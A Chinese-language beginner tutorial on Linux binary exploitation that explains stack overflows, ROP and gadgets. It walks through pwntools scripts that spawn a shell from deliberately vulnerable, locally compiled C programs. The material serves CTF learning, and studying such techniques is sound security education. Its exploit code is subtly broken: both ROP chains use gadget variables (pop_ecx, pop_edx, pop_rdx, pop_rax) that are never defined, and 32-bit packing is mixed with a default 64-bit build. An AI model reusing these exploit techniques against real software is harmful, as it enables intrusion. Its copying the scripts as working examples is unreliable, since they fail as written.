Linux PWN入门：ROP与Gadgets技术详解-代码聚汇网

Linux PWN入门：ROP与Gadgets技术详解

ROPGadgetsLinux PWN

|难度：普通|阅读约 17 分钟

1. Linux PWN入门：ROP与Gadgets初探

第一次接触Linux PWN时，很多人会被各种术语和概念搞得晕头转向。ROP（Return-Oriented Programming）和Gadgets这两个词听起来就很抽象，但它们是二进制漏洞利用中最基础也最重要的技术之一。我刚开始学习时也踩过不少坑，今天就把这些经验整理出来，带大家从零开始理解ROP和Gadgets。

PWN这个词在CTF比赛中经常出现，它指的是通过程序漏洞获取系统控制权的技术。而ROP则是现代漏洞利用中最常用的技术之一，特别是在开启了NX（No-eXecute）保护的情况下。NX保护使得传统的栈溢出+shellcode注入的方式失效，这时就需要ROP这种"借力打力"的技术来绕过保护。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 前置知识准备

2.1 基础环境搭建

在开始ROP练习前，我们需要准备好实验环境。推荐使用Kali Linux或者Ubuntu系统，安装以下工具：

code复制sudo apt update
sudo apt install -y gcc gdb python3 python3-pip
pip3 install pwntools

注意：建议在虚拟机中搭建实验环境，避免操作失误影响主机系统。

2.2 理解栈溢出原理

ROP技术通常建立在栈溢出漏洞的基础上。简单来说，栈溢出就是当程序向栈上写入数据时，没有正确检查输入长度，导致数据覆盖了栈上的返回地址等关键信息。

下面是一个典型的栈溢出漏洞代码示例：

c复制#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    gets(buffer); // 危险的函数，不检查输入长度
    printf("Input: %s\n", buffer);
}

int main() {
    vulnerable_function();
    return 0;
}

编译时我们需要关闭一些保护机制，方便初学者理解：

bash复制gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

2.3 保护机制简介

现代Linux系统有多种保护机制来防止漏洞利用：

NX（No-eXecute）：标记数据区域不可执行
ASLR（Address Space Layout Randomization）：随机化内存布局
Stack Canary：栈保护金丝雀值
RELRO（Relocation Read-Only）：重定位表只读

在初学阶段，我们会先关闭这些保护，专注于理解ROP原理。

3. ROP技术详解

3.1 什么是ROP

ROP全称Return-Oriented Programming，即面向返回的编程。它是一种代码复用技术，通过组合程序中已有的代码片段（Gadgets）来构造攻击链。

当NX保护开启时，栈上的数据不可执行，传统的shellcode注入方式失效。ROP通过控制程序执行流，跳转到程序中已有的指令片段，然后通过ret指令将这些片段串联起来，最终实现攻击目的。

3.2 Gadgets是什么

Gadgets是ROP的基本构建块，它们是以ret指令结尾的短指令序列。常见的Gadgets类型包括：

寄存器操作：pop eax; ret
内存操作：mov [eax], ebx; ret
算术运算：add eax, ebx; ret
系统调用：int 0x80; ret

通过精心组合这些Gadgets，我们可以实现复杂的操作，比如调用系统函数、修改内存等。

3.3 ROP攻击流程

一个典型的ROP攻击通常包含以下步骤：

发现并利用漏洞控制EIP/RIP
在内存中定位有用的Gadgets
构建ROP链并注入到程序中
触发漏洞执行ROP链

4. 实战演练：第一个ROP利用

4.1 漏洞程序分析

我们使用下面这个简单的漏洞程序作为例子：

c复制#include <stdio.h>
#include <string.h>

void win() {
    system("/bin/sh");
}

void vulnerable() {
    char buf[64];
    gets(buf);
}

int main() {
    vulnerable();
    return 0;
}

编译命令：

bash复制gcc -fno-stack-protector -no-pie -o rop1 rop1.c

这个程序有一个明显的栈溢出漏洞（gets函数），同时还有一个win函数可以直接获取shell。

4.2 计算溢出偏移量

首先我们需要确定覆盖返回地址所需的偏移量。可以使用pattern_create和pattern_offset工具：

python复制from pwn import *

p = process('./rop1')
p.sendline(cyclic(100))
p.wait()
core = p.corefile
offset = cyclic_find(core.eip)
print(f"Offset: {offset}")

在我的环境中，偏移量是76字节。

4.3 构建ROP链

由于这个例子比较简单，我们不需要复杂的ROP链，只需要覆盖返回地址为win函数的地址即可。

首先用objdump找到win函数的地址：

bash复制objdump -d rop1 | grep win

假设win函数的地址是0x08048456，那么我们的payload就是：

python复制payload = b'A' * 76 + p32(0x08048456)

4.4 完整利用代码

python复制from pwn import *

context.log_level = 'debug'

p = process('./rop1')

win_addr = 0x08048456  # 替换为你的实际地址
payload = b'A' * 76 + p32(win_addr)

p.sendline(payload)
p.interactive()

运行这个脚本，你应该能获得一个shell。

5. 更复杂的ROP利用

5.1 没有现成win函数的情况

现实中很少有这么简单的漏洞程序。更常见的情况是程序中没有一个现成的win函数，这时我们就需要构造更复杂的ROP链来实现系统调用。

5.2 系统调用基础

在Linux中，系统调用是通过int 0x80（32位）或syscall（64位）指令实现的。32位系统调用的参数传递方式：

eax：系统调用号
ebx, ecx, edx...：参数1, 参数2, 参数3...

例如execve("/bin/sh", 0, 0)的系统调用：

eax = 0xb (sys_execve)
ebx = "/bin/sh"的地址
ecx = 0
edx = 0

5.3 寻找Gadgets

我们需要找到以下Gadgets：

控制eax的Gadget：pop eax; ret
控制ebx的Gadget：pop ebx; ret
控制其他寄存器的Gadget
int 0x80的地址

使用ROPgadget工具可以方便地查找Gadgets：

bash复制ROPgadget --binary rop1

5.4 构建ROP链

假设我们找到了以下Gadgets：

pop eax; ret @ 0x080483aa
pop ebx; ret @ 0x080483ab
int 0x80 @ 0x080483ad
"/bin/sh"字符串 @ 0x0804a024

那么ROP链可以这样构建：

python复制from pwn import *

context.log_level = 'debug'

p = process('./rop1')

# Gadgets
pop_eax = 0x080483aa
pop_ebx = 0x080483ab
int_80 = 0x080483ad
bin_sh = 0x0804a024

payload = b'A' * 76
payload += p32(pop_eax) + p32(0xb)       # eax = sys_execve
payload += p32(pop_ebx) + p32(bin_sh)    # ebx = "/bin/sh"
payload += p32(pop_ecx) + p32(0)         # ecx = 0
payload += p32(pop_edx) + p32(0)         # edx = 0
payload += p32(int_80)                   # int 0x80

p.sendline(payload)
p.interactive()

6. 常见问题与调试技巧

6.1 偏移量计算不准

有时cyclic_find计算出的偏移量可能不准确，这时可以：

检查core文件中的寄存器值
手动调整偏移量进行测试
使用GDB逐步调试

6.2 Gadgets不可用

有时找到的Gadgets在实际执行时会崩溃，可能原因：

栈没有对齐（特别是在64位系统中）
Gadgets之间有冲突
内存地址不可写/不可读

解决方法：

在ROP链中添加调整栈的Gadgets
尝试其他替代Gadgets
检查内存权限

6.3 使用GDB调试ROP

调试ROP链时，GDB非常有用。一些常用命令：

bash复制gdb ./rop1
b *vulnerable_function+20  # 在返回前断点
r < <(python exploit.py)   # 运行并输入payload
x/20wx $esp                # 查看栈内容
stepi                      # 单步执行

7. 64位与32位的区别

64位系统的ROP与32位有一些重要区别：

参数传递方式：使用寄存器（rdi, rsi, rdx...）而非栈
系统调用指令：syscall而非int 0x80
地址长度：8字节而非4字节
常用Gadgets不同

例如，64位系统调用execve("/bin/sh", 0, 0)的ROP链：

python复制pop_rdi = 0x4005d3  # pop rdi; ret
pop_rsi = 0x4005d1  # pop rsi; pop r15; ret
bin_sh = 0x4006d0
syscall = 0x400500

payload = b'A' * 72
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(pop_rsi) + p64(0) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)

8. 工具推荐

ROPgadget：查找二进制文件中的Gadgets
pwntools：Python漏洞利用开发库
GDB + peda/gef/pwndbg：增强调试体验
one_gadget：查找直接获取shell的Gadgets
ropper：高级Gadgets搜索工具

安装方法：

bash复制pip3 install pwntools
sudo apt install ropper
gem install one_gadget

9. 防御措施与绕过

了解ROP攻击后，我们也需要知道现代系统如何防御ROP攻击：

ASLR：随机化内存布局，使Gadgets地址不可预测
Stack Canary：检测栈溢出
RELRO：防止GOT表被修改
PIE：位置无关可执行文件

绕过这些保护需要更高级的技术，如信息泄露、GOT表劫持等，这将是后续学习的内容。

10. 学习资源与进阶路线

推荐书籍：
- "Hacking: The Art of Exploitation"
- "The Shellcoder's Handbook"
在线资源：
- CTF比赛中的PWN题
- exploit-db.com
- LiveOverflow YouTube频道
学习路线建议：
- 栈溢出基础 → ROP → 堆利用 → 内核利用
- 32位 → 64位
- 无保护 → 绕过各种保护

刚开始学习ROP时可能会觉得复杂，但通过不断练习和调试，你会逐渐掌握这项强大的技术。我建议从简单的CTF题目开始，逐步挑战更复杂的漏洞利用。